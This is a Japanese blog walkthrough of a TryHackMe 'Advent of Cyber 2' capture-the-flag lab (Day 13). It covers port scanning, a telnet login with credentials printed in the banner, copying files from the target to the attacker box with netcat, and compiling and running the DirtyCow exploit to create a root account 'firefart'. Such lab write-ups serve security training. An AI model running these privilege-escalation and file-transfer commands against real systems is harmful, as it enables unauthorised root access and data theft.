LoginSignup
0
0

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 13 - Walkthrough -

Last updated at Posted at 2020-12-15

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 13] Special by John Hammond: Coal for Christmas

ストーリー

システム管理者が「クリスマスの石炭」に値することを証明してください!

Day 13 - #1.

Hi Santa, hop in your sleigh and deploy this machine!

こんにちは、サンタさん。そりに飛び乗って、このマシンを展開してください。[Deploy]ボタンをクリックします。
The Christmas GPSは、この家がアドレスMACHINE_IPにあることを示しています。お好みのポートスキャンツールを使って、このマシンをスキャンしてください。

ポートスキャン

Day 13 - #2.

We will begin by scanning the machine. If you are working from the TryHackMe "Attackbox" or from a Kali Linux instance (or honestly, any Linux distribution where you have this installed), you can use nmap with syntax like so:

nmapコマンドにてポートスキャンを行います。コマンド構文は次のとおりです。

ali@kali:~$ nmap -Pn -T4 -A -vv 10.10.247.111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-13 19:50 EST
Nmap scan report for 10.10.247.111
Host is up, received user-set (0.26s latency).
Scanned at 2020-12-13 19:50:05 EST for 37s
Not shown: 997 closed ports
Reason: 997 conn-refused
PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAJwR6q4VerUDe7bLXRL6ZPTXj5FY66he+WWlRSoQppwDLqrTG73Pa9qUHMDFb1LXN1qgg0p0lyfqvm8ZeN+98rbT0JW6+Wqa7v0K+N82xf87fVkJcXAuU/A8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R60mYNSo=
23/tcp  open  telnet  syn-ack Linux telnetd
111/tcp open  rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36288/udp6  status
|   100024  1          48030/tcp   status
|   100024  1          49347/udp   status
|_  100024  1          57602/tcp6  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:50
Completed NSE at 19:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:50
Completed NSE at 19:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:50
Completed NSE at 19:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.31 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
23/tcp telnet Linux telnetd
111/tcp rpcbind 2-4 (RPC #100000)

Day 13 - #3.

What old, deprecated protocol and service is running?

Telnetではデータがプレーンテキストで送信されるため、非推奨とされています。

初期アクセス

このサービスへ接続し、サービスが利用できるかどうかを確認します。サービスに接続するには、サービス名にちなんだ標準のコマンドラインクライアントか、netcatを使用します。

Day 13 - #4.

What credential was left for you?

Day 13 - #3.の解答より、サービスが特定されています。サービス名にちなんだ標準のコマンドクライアントをaptコマンドでインストールします。

kali@kali:~$ sudo apt install telnet

標準のコマンドクライアントを使ってMACHINE_IPへアクセスします。

kali@kali:~$ telnet 10.10.247.111 23
Trying 10.10.247.111...
Connected to 10.10.247.111.
Escape character is '^]'.
HI SANTA!!! 

We knew you were coming and we wanted to make
it easy to drop off presents, so we created
an account for you to use.

Username: santa
Password: clauschristmas

We left you cookies and milk!

christmas login: santa
Password: 
Last login: Sat Nov 21 20:37:37 UTC 2020 from 10.0.2.2 on pts/2

santa:clauschristmasアカウントにてSSSHサービスの利用も可能です。
ssh.png

列挙

Day 13 - #5.

煙突から滑り降りられるようですね!ログインして見回り、少し列挙してみましょう。

What distribution of Linux and version number is this server running?

オペレーティングシステムのバージョンやその他のリリース情報など3つのコマンド構文を使って調べてみます。

$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"
$ uname -a
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/issue
HI SANTA!!! 

We knew you were coming and we wanted to make
it easy to drop off presents, so we created
an account for you to use.

Username: santa
Password: clauschristmas

We left you cookies and milk!

サーバ所有者があなたに残したクッキーと牛乳を見てください。catコマンドを使用してこれを行うことができます。

cat cookies_and_milk.txt

Day 13 - #6.

Who got here first?

ホームディレクトリを確認するとchristmas.shスクリプトとcookies_and_milk.txtテキストファイルをみつけました。

$ ls -al
total 24
drwxr-xr-x 3 santa santa 4096 Dec 14 05:44 .
drwxr-xr-x 3 root  root  4096 Nov 21 20:37 ..
drwx------ 2 santa santa 4096 Nov 21 20:37 .cache
-rwxr-xr-x 1 santa santa 1422 Nov 21 20:37 christmas.sh
-rw-r--r-- 1 santa santa 2925 Nov 21 20:37 cookies_and_milk.txt

それぞれローカルの攻撃端末kali.localへコピーします。このとき、netcatを使用しています。

kali.local
kali@kali:~$ nc -l -p 3333 > cookies_and_milk.txt
kali@kali:~$ nc -l -p 3333 > christmas.sh
christmas.thm
$ nc -w 3 10.11.19.198 3333 < cookies_and_milk.txt
$ nc -w 3 10.11.19.198 3333 < christmas.sh

Day 13 - #6.の解答はcookies_and_milk.txtに記載されています。

cookies_and_milk.txt
/*************************************************
// HAHA! Too bad Santa! I, the Grinch, got here 
// before you did! I helped myself to some of
// the goodies here, but you can still enjoy
// some half eaten cookies and this leftover
// milk! Why dont you try and refill it yourself!
//   - Yours Truly,
//         The Grinch
//*************************************************/
.
省略
.

christmas.shスクリプトでは、クリスマスツリーのイルミネーションを楽しめます。

christmas.png

犯人はクッキーと牛乳の半分を持って行った!奇妙なことに、そのファイルはCコードのように見えます...

Day 13 - #7.

このcookies_and_milk.txtファイルは、C言語で記述されたDirtyCowエクスプロイトの改造したもののように見えます。そのオリジナルファイルをオンラインで見つけ、ターゲットボックスにコピーします。これは、netcatのような簡単なファイル転送方法や、Python HTTPサーバーを使ってもいいし、ボックスのテキストエディターにコピーして貼り付けることもできます。

ターゲット上のCソースコードgccでコンパイルすることができます。異なるライブラリをインクルードするためには、特定のパラメータや引数を指定する必要があるかもしれません。ありがたいことに、DirtyCowのソースコードでは、どのような構文を使うべきかを説明しています。

Day 13 - #8.

What is the verbatim syntax you can use to compile, taken from the real C source code comments?

GitHubからオリジナルのdirty.cソースコードを確認します。

dirty.c
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd

dirty_c.png

特権の昇格

エクスプロイトをコンパイルし、コマンドを実行します。

$ nano dirty.c
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: p@33w0rd
Complete line:
firefart:fiu5dKg9dGlso:0:0:pwned:/root:/bin/bash

mmap: 7f389d2ad000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'p@33w0rd'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'p@33w0rd'.

$ 
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

Day 13 - #9.

What "new" username was created, with the default operations of the real C source code?

ユーザーをその新しいユーザーアカウントに切り替え、/rootディレクトリに移動しこのサーバを掌握します。

Day 13 - #10.

You can switch user accounts like so:

dirtyコマンドの実行結果として表示されるYou can log in with the username 'firefart' and the password 'p@33w0rd'.メッセージに注目してください。

suコマンドを使って新しく作成されたユーザーアカウントに切り替えます。
whoamiidコマンドの結果に注目してください。

$ su firefart
Password: 
firefart@christmas:/home/santa# whoami
firefart
firefart@christmas:~# id
uid=0(firefart) gid=0(root) groups=0(root)

/rootディレクトの内容について確認します。

firefart@christmas:/home/santa# cd /root
firefart@christmas:~# ls
christmas.sh  message_from_the_grinch.txt

どうやら犯人がメッセージを残したようです!彼の指示に従って、あなたが本当にクリスマスに石炭を残したことを証明してください!

message_from_the_grinch.txt
Nice work, Santa!

Wow, this house sure was DIRTY!
I think they deserve coal for Christmas, don't you?
So let's leave some coal under the Christmas `tree`!

Let's work together on this. Leave this text file here,
and leave the christmas.sh script here too...
but, create a file named `coal` in this directory!
Then, inside this directory, pipe the output
of the `tree` command into the `md5sum` command.

The output of that command (the hash itself) is
the flag you can submit to complete this task
for the Advent of Cyber!

        - Yours,
                John Hammond
                er, sorry, I mean, the Grinch

          - THE GRINCH, SERIOUSLY
message_from_the_grinch.jp
よくやった サンタさん!

この家は確かに汚かった!
クリスマスには石炭をあげるべきだと思わないか?
だからクリスマスツリーの下に石炭を置いておこう!

一緒に頑張ろうぜ。このテキストファイルはここに残しておくよ。
そして、`christmas.sh`スクリプトもここに残しておくことにしよう...。
しかし、このディレクトリに`coal`という名前のファイルを作成してください!
そして、このディレクトリ中の`tree`コマンドを`md5sum`コマンドに変換します。

そのコマンドの出力(ハッシュそのもの)がこの`Advent of Cyber`タスクを完了するために必要なフラグです。

        - 親愛なるあなたへ
                John Hammond
                えーと、ごめんなさい、グリンチのことです。

          - THE GRINCH, SERIOUSLY

Day 13 - #12.

What is the MD5 hash output?

意味深なメッセージを解読します。

After you leave behind the coal, you can run tree | md5sumあなたはcoalを残した後、tree | md5sumを実行することができます。

message_from_the_grinch.txtに記載された手順に従ってコマンド構文を実行してみましょう。

firefart@christmas:~# touch coal
firefart@christmas:~# ls
christmas.sh  coal  message_from_the_grinch.txt
firefart@christmas:~# tree
.
|-- christmas.sh
|-- coal
`-- message_from_the_grinch.txt

0 directories, 3 files
firefart@christmas:~# tree | md5sum
8b16{BLOCKED}27cc  -

これにて、13日目のミッションが終了です。

Walkthrough

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0